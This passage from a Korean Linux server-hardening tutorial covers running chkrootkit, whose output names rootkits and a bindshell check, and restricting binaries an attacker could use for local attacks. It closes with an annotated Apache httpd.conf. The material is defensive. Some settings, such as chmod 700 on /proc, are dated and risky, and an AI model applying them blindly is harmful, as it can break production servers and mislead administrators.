-r--r--r-- 1 1000 1000 1292 9월 7 2004 README.chkwtmp
-rwxr-xr-x 1 root root 2704 7월 19 17:39 check_wtmpx
-r--r--r-- 1 1000 1000 7195 9월 7 2004 check_wtmpx.c
-rwxr-xr-x 1 root root 6052 7월 19 17:39 chkdirs
-r--r--r-- 1 1000 1000 6781 9월 7 2004 chkdirs.c
-rwxr-xr-x 1 root root 6640 7월 19 17:39 chklastlog
-r--r--r-- 1 1000 1000 7730 11월 17 2004 chklastlog.c
-rwxr-xr-x 1 root root 6808 7월 19 17:39 chkproc
-r--r--r-- 1 1000 1000 7613 9월 14 2004 chkproc.c
-rwxr-xr-x 1 1000 wheel 71149 2월 22 21:57 chkrootkit
-r--r--r-- 1 1000 1000 571 2월 22 06:20 chkrootkit.lsm
31
-rwxr-xr-x 1 root root 5944 7월 19 17:39 chkutmp
-r--r--r-- 1 1000 1000 5388 2월 22 08:10 chkutmp.c
-rwxr-xr-x 1 root root 3960 7월 19 17:39 chkwtmp
-r--r--r-- 1 1000 1000 2081 9월 7 2004 chkwtmp.c
-rwxr-xr-x 1 root root 6868 7월 19 17:39 ifpromisc
-r--r--r-- 1 1000 1000 8771 9월 7 2004 ifpromisc.c
-rwxr-xr-x 1 root root 402496 7월 19 17:39 strings-static
-r--r--r-- 1 1000 1000 2437 9월 7 2004 strings.c
[root@localhost chkrootkit-0.45]#
이제 chkrootkit을 실행하여 백도어가 설치되어 있는지 확인만 해보면 됩니다.
[root@localhost chkrootkit-0.45]# ./chkrootkit
ROOTDIR is `/'
Checking `amd'... not infected
Checking `basename'... not infected
Checking `biff'... not infected
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not infected
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not infected
32
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not found
Checking `mingetty'... not infected
Checking `netstat'... not infected
Checking `named'... not infected
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not infected
Checking `rshd'... not infected
Checking `slogin'... not found
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not infected
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not infected
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
33
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while...
/usr/lib/perl5/5.8.0/i386-linux-thread-multi/.packlist /usr/lib/openoffice/share/gnome/net/.directory
/usr/lib/openoffice/share/gnome/net/.order /usr/lib/openoffice/share/kde/net/applnk/OpenOffice.org/.directory
/usr/lib/openoffice/share/kde/net/applnk/OpenOffice.org/.order /usr/lib/qt-3.1/etc/settings/.qtrc.lock
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for HKRK rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
34
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... eth0: PF_PACKET(/sbin/dhclient)
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'... The tty of the following user process(es) were not found
in /var/run/utmp !
! RUID PID TTY CMD
! root 4161 tty6 /sbin/mingetty tty6
chkutmp: nothing deleted
[root@localhost chkrootkit-0.45]#
결과를 보니 이상한 점이 없습니다. 만약 실행하여 이상한 부분이 있으면 즉시 확인을 하고, 대책을 세워야
합니다. 어떤 대책을 세워야할지를 모를 경우 정부의 관련기관이나 securityproof 사이트에 글 올려주시기 바
랍니다.
4. 파일 퍼미션 설정을 통한 로컬 공격 방지
공격자는 원격 취약점을 이용하여 시스템을 장악할 수 있지만 원격 취약점이 없으면 보통 웹 페이지의 취약점
을 이용하여 로컬 공격을 하고, 이를 통해 시스템을 장악하는 경우가 있습니다. 보통 웹 공격을 통해 획득할
수 있는 것은 nobody 또는 apache 권한입니다. 이는 웹 서버 설정 파일인 httpd.conf라는 파일의 설정에 따라
사용하는 용어가 달라질 수 있으며, 공격에 성공할 경우 보통 ‘웹 권한을 획득했다’고 합니다.
웹 권한을 획득하면 웹 페이지의 변조가 가능할 수 있고, 시스템 장악을 위해 로컬 공격을 할 수 있습니다.
35
이를 경우를 대비하여 공격자가 원활한 로컬 공격을 하지 못하도록 파일 퍼미션을 설정하는 것입니다. 여기서
는 공격자가 웹 권한을 획득하고, 로컬 공격 시 반드시 사용하거나 사용할 가능성이 높은 파일들을 대상으로
퍼미션 조정을 할 것입니다. 제일 먼저 /bin 디렉토리의 파일 설정에 대해 알아보도록 하겠습니다.
많은 사용자 계정이 없는 경우라면 이 파일들은 모두 퍼미션을 700으로 수정합니다. 다른 사용자들이 있으면
특정 그룹의 사용자만 이용할 수 있도록 설정을 해야 합니다. 그러나 이 문서가 대상으로 하고 있는 독자들의
서버는 많은 계정이 없는, 대부분 root만이 서버에 접속하여 서버를 관리하는 경우입니다.
[root@localhost root]# cd /bin
[root@localhost bin]# ls -al
합계 5448
-rwxr-xr-x 1 root root 14364 2월 19 2003 cat
-rwxr-xr-x 1 root root 18076 2월 19 2003 chgrp
-rwxr-xr-x 1 root root 18076 2월 19 2003 chmod
-rwxr-xr-x 1 root root 47732 2월 19 2003 cp
-rwxr-xr-x 1 root root 28596 2월 19 2003 df
-rwxr-xr-x 1 root root 11356 2월 19 2003 env
-rwxr-xr-x 1 root root 294332 1월 25 2003 gawk
-rwxr-xr-x 1 root root 75668 1월 25 2003 grep
-rwxr-xr-x 1 root root 7996 2월 25 2003 kill
-rwxr-xr-x 1 root root 10780 2월 19 2003 link
-rwxr-xr-x 1 root root 22204 2월 19 2003 ln
-rwxr-xr-x 1 root root 67668 2월 19 2003 ls
-rwxr-xr-x 1 root root 18396 2월 19 2003 mkdir
-rwsr-xr-x 1 root root 68508 2월 25 2003 mount
-rwxr-xr-x 1 root root 51028 2월 19 2003 mv
-rwxr-xr-x 1 root root 85240 2월 11 2003 netstat
-r-xr-xr-x 1 root root 69772 2월 20 2003 ps
-rwxr-xr-x 1 root root 10620 2월 19 2003 pwd
-rwxr-xr-x 1 root root 26556 2월 19 2003 rm
-rwxr-xr-x 1 root root 11804 2월 19 2003 rmdir
-rwx------ 1 rpm rpm 77404 2월 28 2003 rpm
36
-rwxr-xr-x 1 root root 26332 2월 19 2003 touch
-rwxr-xr-x 1 root root 12188 2월 19 2003 uname
-rwxr-xr-x 1 root root 10848 2월 19 2003 unlink
-rwxr-xr-x 1 root root 456108 2월 12 2003 vi
[root@localhost bin]#
이 파일들의 퍼미션을 700으로 조정해도 홈페이지를 운영하는 데는 아무런 문제가 없습니다. 퍼미션 조정 방
법은 다음과 같습니다. 순서대로 ‘chmod 700 파일명’으로 하면 됩니다. 예를 한 가지 들어보겠습니다.
[root@localhost bin]# chmod 700 cat
퍼미션을 확인해보도록 하겠습니다.
[root@localhost bin]# ls -la cat
-rwx------ 1 root root 26556 2월 19 2003 cat
[root@localhost bin]#
퍼미션 조절하는 것은 전혀 어렵지 않습니다. 이제는 /sbin 디렉토리에서 퍼미션 조정이 필요한 파일을 찾아
보도록 하겠습니다. 역시 퍼미션을 700으로 수정합니다.
[root@localhost bin]# cd /sbin
[root@localhost sbin]# ls -la
합계 17400
drwxr-xr-x 2 root root 8192 7월 4 09:22 .
drwxr-xr-x 21 root root 4096 7월 18 05:38 ..
-rwxr-xr-x 1 root root 38556 2월 11 2003 arp
-rwxr-xr-x 1 root root 51672 2월 11 2003 ifconfig
-rwxr-xr-x 1 root root 47560 2월 4 2003 iptables
[root@localhost sbin]#
이제 /usr/bin 디렉토리의 파일들 중에서 700으로 수정이 필요한 것들을 찾아보겠습니다.
37
[root@localhost sbin]# cd /usr/bin
[root@localhost bin]# ls –al
[root@localhost bin]# ls -la | more
합계 283228
lrwxrwxrwx 1 root root 3 7월 4 08:55 cc -> gcc
-rwxr-xr-x 1 root root 62268 1월 26 2003 dig
-rwxr-xr-x 1 root root 51028 1월 25 2003 find
-rwxr-xr-x 2 root root 80644 2월 25 2003 gcc
-rwxr-xr-x 2 root root 81864 2월 12 2003 gcc296
-rwxr-xr-x 1 root root 2116372 2월 25 2003 gdb
-rwxr-xr-x 1 root root 44800 2월 25 2003 gdbserver
-rwxr-xr-x 1 root root 14236 2월 19 2003 id
-rwxr-xr-x 1 root root 15260 2월 19 2003 kill
-rwxr-xr-x 1 root root 13144 1월 25 2003 killall
-rwxr-xr-x 1 root root 11068 2월 11 2003 last
-rwxr-xr-x 1 root root 127932 1월 25 2003 make
-rwxr-xr-x 1 root root 55068 2월 19 2003 mysql
-rwxr-xr-x 1 root root 257788 1월 26 2003 nmap
-rwxr-xr-x 1 root root 55968 1월 26 2003 nslookup
-rwxr-xr-x 2 root root 12572 2월 19 2003 perl
-rwxr-xr-x 2 root root 12572 2월 19 2003 perl5.8.
-rwxr-xr-x 2 root root 791232 2월 25 2003 python
-rwxr-xr-x 3 root root 57468 1월 25 2003 rz
-rwxr-xr-x 1 root root 64632 2월 15 2003 ssh-add
-rwxr-xr-x 1 root root 47544 2월 15 2003 ssh-agent
-rwxr-xr-x 1 root root 64760 2월 15 2003 ssh-keygen
-rwxr-xr-x 1 root root 135800 2월 15 2003 ssh-keyscan
-rwxr-xr-x 1 root root 35604 2월 19 2003 tail
-rwxr-xr-x 1 root root 1893740 2월 12 2003 vim
-rwxr-xr-x 1 root root 7168 2월 25 2003 whereis
-rwxr-xr-x 1 root root 15324 1월 25 2003 which
-rwxr-xr-x 1 root root 10784 2월 19 2003 whoami
[root@localhost bin]#
38
이제 /usr/sbin 디렉토리입니다. 여기는 그렇게 많지 않습니다. lsof 파일을 700으로 설정합니다.
[root@localhost bin]# cd /usr/sbin
[root@localhost sbin]# ls -al
-rwxr-xr-x 1 root root 95640 1월 25 2003 lsof
마지막으로 /proc 디렉토리는 디렉토리 자체를 700으로 설정합니다.
[root@localhost sbin]# cd
[root@localhost root]# chmod 700 /proc
[root@localhost root]#
이제 파일 및 디렉토리 퍼미션 설정을 다 알아보았습니다. 앞에서 언급되지 않은 파일이나 디렉토리를 굳이
변경할 필요는 없을 것입니다. 이 정도 설정하면 많은 공격을 막을 수 있을 것입니다.
5. 웹 서버 보안
5-1.httpd.conf 파일 설정
httpd.conf 파일은 웹 서버 Apache의 설정 파일입니다. 여기서는 가장 기본적인 것을 위주로 설정하는 것을
알아볼 것입니다. 이 파일은 /etc/httpd/conf에 있습니다. 지금부터 보안 상 중요한 부분에 대해 하나씩 수정
해보도록 하겠습니다. 파란색으로 표시된 부분이 수정된 부분이며, 수정되기 전의 원래 부분은 파란색으로 표
시하되 앞에 #를 붙이도록 하겠습니다.
그리고 한가지 말씀드릴 것은 httpd.conf 파일의 퍼미션을 600으로 수정하시기 바랍니다.
[root@localhost root]# chmod 600 /etc/httpd/conf/httpd.conf
39
이제 수정에 들어갑니다. 그렇게 수정할 부분이 많지는 않습니다.
[root@localhost root]# vi /etc/httpd/conf/httpd.conf
#
# Based upon the NCSA server configuration files originally by Rob McCool.
#
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs-2.0/> for detailed information about
# the directives.
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
# consult the online docs. You have been warned.
#
# The configuration directives are grouped into three basic sections:
# 1. Directives that control the operation of the Apache server process as a
# whole (the 'global environment').
# 2. Directives that define the parameters of the 'main' or 'default' server,
# which responds to requests that aren't handled by a virtual host.
# These directives also provide default values for the settings
# of all virtual hosts.
# 3. Settings for virtual hosts, which allow Web requests to be sent to
# different IP addresses or hostnames and have them handled by the
# same Apache server process.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path. If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
# with ServerRoot set to "/etc/httpd" will be interpreted by the
# server as "/etc/httpd/logs/foo.log".
#
### Section 1: Global Environment
#
# The directives in this section affect the overall operation of Apache,
# such as the number of concurrent requests it can handle or where it
# can find its configuration files.
#
#
# Don't give away too much information about all the subcomponents
# we are running. Comment out this line if you don't mind remote sites
# finding out what major optional modules you are running
# ServerTokens OS
ServerTokens Prod
40
# OS를Prod로 변경하였습니다.
# 웹 상으로 운영체제의 정보나 민감한 정보가 노출되는 것을 막아줍니다.
# 공격자는 일부러 에러를 내어 서버의 정보를 확인하는 경우가 많습니다.
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the LockFile documentation
# (available at <URL:http://httpd.apache.org/docs-2.0/mod/core.html#lockfile>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
ServerRoot "/etc/httpd"
#
# ScoreBoardFile: File used to store internal server process information.
# If unspecified (the default), the scoreboard will be stored in an
# anonymous shared memory segment, and will be unavailable to third-party
# applications.
# If specified, ensure that no two invocations of Apache share the same
# scoreboard file. The scoreboard file MUST BE STORED ON A LOCAL DISK.
#
#ScoreBoardFile run/httpd.scoreboard
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
#
PidFile run/httpd.pid
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive Off
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
41
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 15
##
## Server-Pool Size Regulation (MPM specific)
##
# prefork MPM
# StartServers: number of server processes to start
# MinSpareServers: minimum number of server processes which are kept spare
# MaxSpareServers: maximum number of server processes which are kept spare
# MaxClients: maximum number of server processes allowed to start
# MaxRequestsPerChild: maximum number of requests a server process serves
<IfModule prefork.c>
StartServers 8
MinSpareServers 5
MaxSpareServers 20
MaxClients 150
MaxRequestsPerChild 1000
</IfModule>
# worker MPM
# StartServers: initial number of server processes to start
# MaxClients: maximum number of simultaneous client connections
# MinSpareThreads: minimum number of worker threads which are kept spare
# MaxSpareThreads: maximum number of worker threads which are kept spare
# ThreadsPerChild: constant number of worker threads in each server process
# MaxRequestsPerChild: maximum number of requests a server process serves
<IfModule worker.c>
StartServers 2
MaxClients 150
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
# perchild MPM
# NumServers: constant number of server processes
# StartThreads: initial number of worker threads in each server process
# MinSpareThreads: minimum number of worker threads which are kept spare
# MaxSpareThreads: maximum number of worker threads which are kept spare
# MaxThreadsPerChild: maximum number of worker threads in each server process
42
# MaxRequestsPerChild: maximum number of connections per server process
<IfModule perchild.c>
NumServers 5
StartThreads 5
MinSpareThreads 5
MaxSpareThreads 10
MaxThreadsPerChild 20
MaxRequestsPerChild 0
</IfModule>
#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, in addition to the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
#
#Listen 12.34.56.78:80
Listen 80
#
# Load config files from the config directory "/etc/httpd/conf.d".
#
Include conf.d/*.conf
#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Statically compiled modules (those listed by `httpd -l') do not need
# to be loaded here.
#
# Example:
# LoadModule foo_module modules/mod_foo.so
#
LoadModule access_module modules/mod_access.so
LoadModule auth_module modules/mod_auth.so
LoadModule auth_anon_module modules/mod_auth_anon.so
LoadModule auth_dbm_module modules/mod_auth_dbm.so
LoadModule auth_digest_module modules/mod_auth_digest.so
LoadModule include_module modules/mod_include.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule env_module modules/mod_env.so
LoadModule mime_magic_module modules/mod_mime_magic.so
LoadModule cern_meta_module modules/mod_cern_meta.so
LoadModule expires_module modules/mod_expires.so
43
LoadModule headers_module modules/mod_headers.so
LoadModule usertrack_module modules/mod_usertrack.so
LoadModule unique_id_module modules/mod_unique_id.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule mime_module modules/mod_mime.so
LoadModule dav_module modules/mod_dav.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
LoadModule asis_module modules/mod_asis.so
LoadModule info_module modules/mod_info.so
LoadModule dav_fs_module modules/mod_dav_fs.so
LoadModule vhost_alias_module modules/mod_vhost_alias.so
LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
LoadModule imap_module modules/mod_imap.so
LoadModule actions_module modules/mod_actions.so
LoadModule speling_module modules/mod_speling.so
LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
<IfModule prefork.c>
LoadModule cgi_module modules/mod_cgi.so
</IfModule>
<IfModule worker.c>
LoadModule cgid_module modules/mod_cgid.so
</IfModule>
#
# ExtendedStatus controls whether Apache will generate "full" status
# information (ExtendedStatus On) or just basic information (ExtendedStatus
# Off) when the "server-status" handler is called. The default is Off.
#
#ExtendedStatus On
### Section 2: 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition. These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
44
# virtual host being defined.
#
#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.
#
# User/Group: The name (or #number) of the user/group to run httpd as.
# . On SCO (ODT 3) use "User nouser" and "Group nogroup".
# . On HPUX you may not be able to use shared memory as nobody, and the
# suggested workaround is to create a user www and use that user.
# NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
# when the value of (unsigned)Group is above 60000;
# don't use Group #-1 on these systems!
#
User apache
Group apache
#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed. This address appears on some server-generated pages, such
# as error documents. e.g. admin@your-domain.com
#
ServerAdmin root@localhost
#
# ServerName gives the name and port that the server uses to identify itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If this is not set to valid DNS name for your host, server-generated
# redirections will not work. See also the UseCanonicalName directive.
#
# If your host doesn't have a registered DNS name, enter its IP address here.
# You will have to access it by its address anyway, and this will make
# redirections work in a sensible way.
#
#ServerName new.host.name:80
#
# UseCanonicalName: Determines how Apache constructs self-referencing
# URLs and the SERVER_NAME and SERVER_PORT variables.
# When set "Off", Apache will use the Hostname and Port supplied
# by the client. When set "On", Apache will use the value of the
# ServerName directive.
#
UseCanonicalName Off
#
45
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/var/www/html"
#
# Each directory to which Apache has access can be configured with respect
# to which services and features are allowed and/or disabled in that
# directory (and its subdirectories).
#
# First, we configure the "default" to be a very restrictive set of
# features.
#
# <Directory />
# Options FollowSymLinks
# AllowOverride None
# </Directory>
<Directory />
Options
AllowOverride None
</Directory>
# FollowSymLinks 부분을 삭제하였습니다.
#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#
#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "/var/www/html">
#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI Multiviews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs-2.0/mod/core.html#options
46
# for more information.
#
# Options Indexes FollowSymLinks
Options FollowSymLinks
# Indexes라는 부분을 삭제하였습니다. Indexes 부분을 그대로 두면
# 특정 디렉토리의 파일 내용이 모두 보이게 됩니다. 예를 들어,
# 제로보드를 우리나라에서 많이 사용하는데, 제로보드의 data 디렉토리는 퍼미션이 707로
# 보통 설정되어 있습니다.
# Indexes 부분을 그대로 두면 이 디렉토리의 모든 파일을 보고, 다운 받을 수 있습니다.
# 제로보드를 통해 올라간 모든 자료들이 저장되는 곳이 data 디렉토리입니다.
#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride None
#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all
</Directory>
#
# Disable autoindex for the root directory, and present a
# default Welcome page if no other index page is present.
#
<LocationMatch "^/$>
Options -Indexes
ErrorDocument 403 /error/noindex.html
</LocationMatch>
#
# UserDir: The name of the directory that is appended onto a user's home
# directory if a ~user request is received.
#
# The path to the end user account 'public_html' directory must be
# accessible to the webserver userid. This usually means that ~userid
# must have permissions of 711, ~userid/public_html must have permissions
# of 755, and documents contained therein must be world-readable.
# Otherwise, the client will only receive a "403 Forbidden" message.
#
# See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden
#
47
<IfModule mod_userdir.c>
#
# UserDir is disabled by default since it can confirm the presence
# of a username on the system (depending on home directory
# permissions).
#
UserDir disable
#
# To enable requests to /~user/ to serve the user's public_html
# directory, remove the "UserDir disable" line above, and uncomment
# the following line instead:
#
#UserDir public_html
</IfModule>
#
# Control access to UserDir directories. The following is an example
# for a site where these directories are restricted to read-only.
#
#<Directory /home/*/public_html>
# AllowOverride FileInfo AuthConfig Limit
# Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
# <Limit GET POST OPTIONS>
# Order allow,deny
# Allow from all
# </Limit>
# <LimitExcept GET POST OPTIONS>
# Order deny,allow
# Deny from all
# </LimitExcept>
#</Directory>
#
# DirectoryIndex: sets the file that Apache will serve if a directory
# is requested.
#
# The index.html.var file (a type-map) is used to deliver content-
# negotiated documents. The MultiViews Option can be used for the
# same purpose, but it is much slower.
#
# DirectoryIndex index.html index.html.var
DirectoryIndex index.html
# index.html.var를 삭제하였습니다.
#
48
# AccessFileName: The name of the file to look for in each directory
# for access control information. See also the AllowOverride directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ~ "^₩.ht">
Order allow,deny
Deny from all
</Files>
#
# TypesConfig describes where the mime.types file (or equivalent) is
# to be found.
#
TypesConfig /etc/mime.types
#
# DefaultType is the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value. If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#
DefaultType text/plain
#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type. The MIMEMagicFile
# directive tells the module where the hint definitions are located.
#
<IfModule mod_mime_magic.c>
# MIMEMagicFile /usr/share/magic.mime
MIMEMagicFile conf/magic
</IfModule>
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
49
HostnameLookups Off
#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog logs/error_log
#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn
#
# The following directives define some format nicknames for use with
# a CustomLog directive (see below).
#
LogFormat "%h %l %u %t ₩"%r₩" %>s %b ₩"%{Referer}i₩" ₩"%{User-Agent}i₩"" combined
LogFormat "%h %l %u %t ₩"%r₩" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
#
# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a <VirtualHost>
# container, they will be logged here. Contrariwise, if you *do*
# define per-<VirtualHost> access logfiles, transactions will be
# logged therein and *not* in this file.
#
# CustomLog logs/access_log common
CustomLog logs/access_log combined
#
# If you would like to have agent and referer logfiles, uncomment the
# following directives.
#
#CustomLog logs/referer_log referer
#CustomLog logs/agent_log agent
#
# If you prefer a single logfile with access, agent, and referer information
# (Combined Logfile Format) you can use the following directive.
#
#CustomLog logs/access_log combined
50
#
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (error documents, FTP directory listings,
# mod_status and mod_info output etc., but not CGI generated documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of: On | Off | EMail
#
ServerSignature On
#
# Aliases: Add here as many aliases as you need (with no limit). The format is
# Alias fakename realname
#
# Note that if you include a trailing / on fakename then the server will
# require it to be present in the URL. So "/icons" isn't aliased in this
# example, only "/icons/". If the fakename is slash-terminated, then the
# realname must also be slash terminated, and if the fakename omits the
# trailing slash, the realname must also omit it.
#
# We include the /icons/ alias for FancyIndexed directory listings. If you
# do not use FancyIndexing, you may comment this out.
#
Alias /icons/ "/var/www/icons/"
<Directory "/var/www/icons">
Options Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
#
# This should be changed to the ServerRoot/manual/. The alias provides
# the manual, even if you choose to move your DocumentRoot. You may comment
# this out if you do not care for the documentation.
#
Alias /manual "/var/www/manual"
<Directory "/var/www/manual">
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
<IfModule mod_dav_fs.c>
# Location of the WebDAV lock database.
DAVLockDB /var/lib/dav/lockdb
</IfModule>
51
#
# ScriptAlias: This controls which directories contain server scripts.
# ScriptAliases are essentially the same as Aliases, except that
# documents in the realname directory are treated as applications and
# run by the server when requested rather than as documents sent to the client.
# The same rules about trailing "/" apply to ScriptAlias directives as to
# Alias.
#
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
<IfModule mod_cgid.c>
#
# Additional to mod_cgid.c settings, mod_cgid has Scriptsock <path>
# for setting UNIX socket for communicating with cgid.
#
Scriptsock run/httpd.cgid
</IfModule>
#
# "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
<Directory "/var/www/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
#
# Redirect allows you to tell clients about documents which used to exist in
# your server's namespace, but do not anymore. This allows you to tell the
# clients where to look for the relocated document.
# Example:
# Redirect permanent /foo http://www.example.com/bar
#
# Directives controlling the display of server-generated directory listings.
#
#
# FancyIndexing is whether you want fancy directory indexing or standard.
# VersionSort is whether files containing version numbers should be
# compared in the natural way, so that `apache-1.3.9.tar' is placed before
# `apache-1.3.12.tar'.
#
IndexOptions FancyIndexing VersionSort NameWidth=*
#
52
# AddIcon* directives tell the server which icon to show for different
# files or filename extensions. These are only displayed for
# FancyIndexed directories.
#
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*
AddIcon /icons/binary.gif .bin .exe
